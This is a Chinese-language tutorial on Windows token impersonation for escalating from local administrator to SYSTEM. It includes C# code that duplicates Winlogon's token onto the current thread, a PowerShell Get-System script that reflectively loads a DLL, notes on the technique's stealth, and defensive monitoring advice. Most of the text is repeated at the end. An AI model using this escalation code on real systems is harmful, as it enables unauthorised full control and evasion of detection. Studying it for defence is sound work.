Windows API and Impersonation Part 2 - 如何使用Impersonation Tokens获取system权限
字数 1405 2025-08-27 12:33:31

Windows API 与令牌模拟技术研究 - 第二部分:使用模拟令牌获取 SYSTEM 权限

1. 令牌类型概述

在 Windows 系统中,存在两种主要类型的令牌:

1.1 Primary Token (主令牌)

  • 每个进程都有一个主令牌
  • 新线程创建时会从父级继承主令牌
  • 不能在同一进程内"交换"主令牌
  • 只能通过创建新进程来使用复制的令牌

1.2 Impersonation Token (模拟令牌)

  • 每个进程也有模拟令牌
  • 新线程创建时同样会继承模拟令牌
  • 可以在同一进程内交换模拟令牌
  • 允许创建新线程,获取远程进程令牌,然后与当前线程交换

2. 技术实现原理

本技术通过以下步骤获取 SYSTEM 权限:

  1. 获取 Winlogon.exe 进程的令牌(SYSTEM 权限)
  2. 复制该令牌的模拟令牌
  3. 将当前线程的令牌替换为复制的模拟令牌
  4. 当前线程即获得 SYSTEM 权限

3. 关键 API 函数

实现此技术需要以下 Windows API 函数:

函数名称 作用
LookupPrivilegeValue 查找特权值
AdjustTokenPrivileges 调整令牌特权
PrivilegeCheck 检查特权状态
OpenProcess 打开进程
OpenProcessToken 打开进程令牌
DuplicateToken 复制令牌
SetThreadToken 设置线程令牌

4. 所需数据结构

需要导入以下结构体:

  • LUID_AND_ATTRIBUTES
  • PRIVILEGE_SET
  • LUID
  • TOKEN_PRIVILEGES

5. C# DLL 实现

5.1 关键常量定义

public static uint SE_PRIVILEGE_ENABLED = 0x00000002;
public static uint TOKEN_DUPLICATE = 0x00000002;
public static uint TOKEN_IMPERSONATE = 0x00000004;
public static uint TOKEN_QUERY = 0x00000008;
public static uint TOKEN_ADJUST_PRIVILEGES = 0x00000020;
public static uint TOKEN_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID;

5.2 核心功能方法

检查特权是否启用

public static bool IsPrivilegeEnabled(string Privilege)
{
    // 实现细节...
}

启用特权

public static bool EnablePrivilege(string Privilege)
{
    // 实现细节...
}

模拟进程令牌

public static bool ImpersonateProcessToken(int pid)
{
    IntPtr hProcess = OpenProcess(ProcessAccessFlags.QueryInformation, true, pid);
    if (hProcess == IntPtr.Zero) return false;
    
    IntPtr hToken;
    if (!OpenProcessToken(hProcess, TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out hToken)) 
        return false;
    
    IntPtr DuplicatedToken = new IntPtr();
    if (!DuplicateToken(hToken, 2, ref DuplicatedToken)) 
        return false;
    
    if (!SetThreadToken(IntPtr.Zero, DuplicatedToken)) 
        return false;
    
    return true;
}

6. PowerShell 实现

6.1 重要注意事项

  • PowerShell 必须在 STA (Single Thread Apartment) 模式下运行
  • 默认是 MTA (Multi Thread Apartment) 模式,会导致方法失败
  • 启动 STA 模式的 PowerShell: powershell.exe -sta
  • 检查当前模式: [Threading.Thread]::CurrentThread.GetApartmentState()

6.2 DLL 加载与使用

# 加载 DLL 到内存
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes("ImpersonationTokenDLL.dll")) | Out-Null

# 检查类是否可用
[zc00l.ImpersonationToken]

# 检查方法是否可用
[zc00l.ImpersonationToken]::IsPrivilegeEnabled
[zc00l.ImpersonationToken]::EnablePrivilege
[zc00l.ImpersonationToken]::ImpersonateProcessToken

6.3 完整 PowerShell 脚本

function Get-System {
    # 检查是否 STA 模式
    if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
        Write-Output "This powershell shell is not in STA mode!";
        return;
    }
    
    # 加载 DLL
    if(-not ([System.Management.Automation.PSTypeName]"zc00l.ImpersonationToken").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("BASE64_ENCODED_DLL")) | Out-Null
        Write-Output "DLL has been reflected."
    }
    
    # 模拟 Winlogon 令牌
    if(-not [zc00l.ImpersonationToken]::ImpersonateProcessToken((Get-Process Winlogon).Id)) {
        Write-Output "Could not Impersonate Token! Maybe you are not Local Admin?";
        return;
    }
    
    Write-Output "We are: $([Environment]::Username)"
}

7. 技术优势

  1. 隐蔽性:使用自定义 C# DLL 而非直接调用 API,减少检测风险
  2. 灵活性:可在同一进程内交换令牌,无需创建新进程
  3. 权限提升:从管理员权限提升到 SYSTEM 权限
  4. 特权操作:可以启用所有 Windows 特权

8. 防御建议

  1. 监控 Winlogon.exe 进程的令牌访问
  2. 检测异常的特权启用操作
  3. 阻止非必要的 STA 模式 PowerShell 执行
  4. 监控内存中的 DLL 加载行为
  5. 限制本地管理员权限的使用

9. 总结

这种使用模拟令牌获取 SYSTEM 权限的技术相比传统方法具有更好的隐蔽性和灵活性。通过理解 Windows 令牌机制和 API 调用方式,安全研究人员可以更好地评估系统安全性,同时防御此类攻击技术。

Windows API 与令牌模拟技术研究 - 第二部分:使用模拟令牌获取 SYSTEM 权限 1. 令牌类型概述 在 Windows 系统中,存在两种主要类型的令牌: 1.1 Primary Token (主令牌) 每个进程都有一个主令牌 新线程创建时会从父级继承主令牌 不能 在同一进程内"交换"主令牌 只能通过创建新进程来使用复制的令牌 1.2 Impersonation Token (模拟令牌) 每个进程也有模拟令牌 新线程创建时同样会继承模拟令牌 可以 在同一进程内交换模拟令牌 允许创建新线程,获取远程进程令牌,然后与当前线程交换 2. 技术实现原理 本技术通过以下步骤获取 SYSTEM 权限: 获取 Winlogon.exe 进程的令牌(SYSTEM 权限) 复制该令牌的模拟令牌 将当前线程的令牌替换为复制的模拟令牌 当前线程即获得 SYSTEM 权限 3. 关键 API 函数 实现此技术需要以下 Windows API 函数: | 函数名称 | 作用 | |---------|------| | LookupPrivilegeValue | 查找特权值 | | AdjustTokenPrivileges | 调整令牌特权 | | PrivilegeCheck | 检查特权状态 | | OpenProcess | 打开进程 | | OpenProcessToken | 打开进程令牌 | | DuplicateToken | 复制令牌 | | SetThreadToken | 设置线程令牌 | 4. 所需数据结构 需要导入以下结构体: LUID_AND_ATTRIBUTES PRIVILEGE_SET LUID TOKEN_PRIVILEGES 5. C# DLL 实现 5.1 关键常量定义 5.2 核心功能方法 检查特权是否启用 启用特权 模拟进程令牌 6. PowerShell 实现 6.1 重要注意事项 PowerShell 必须在 STA (Single Thread Apartment) 模式下运行 默认是 MTA (Multi Thread Apartment) 模式,会导致方法失败 启动 STA 模式的 PowerShell: powershell.exe -sta 检查当前模式: [Threading.Thread]::CurrentThread.GetApartmentState() 6.2 DLL 加载与使用 6.3 完整 PowerShell 脚本 7. 技术优势 隐蔽性 :使用自定义 C# DLL 而非直接调用 API,减少检测风险 灵活性 :可在同一进程内交换令牌,无需创建新进程 权限提升 :从管理员权限提升到 SYSTEM 权限 特权操作 :可以启用所有 Windows 特权 8. 防御建议 监控 Winlogon.exe 进程的令牌访问 检测异常的特权启用操作 阻止非必要的 STA 模式 PowerShell 执行 监控内存中的 DLL 加载行为 限制本地管理员权限的使用 9. 总结 这种使用模拟令牌获取 SYSTEM 权限的技术相比传统方法具有更好的隐蔽性和灵活性。通过理解 Windows 令牌机制和 API 调用方式,安全研究人员可以更好地评估系统安全性,同时防御此类攻击技术。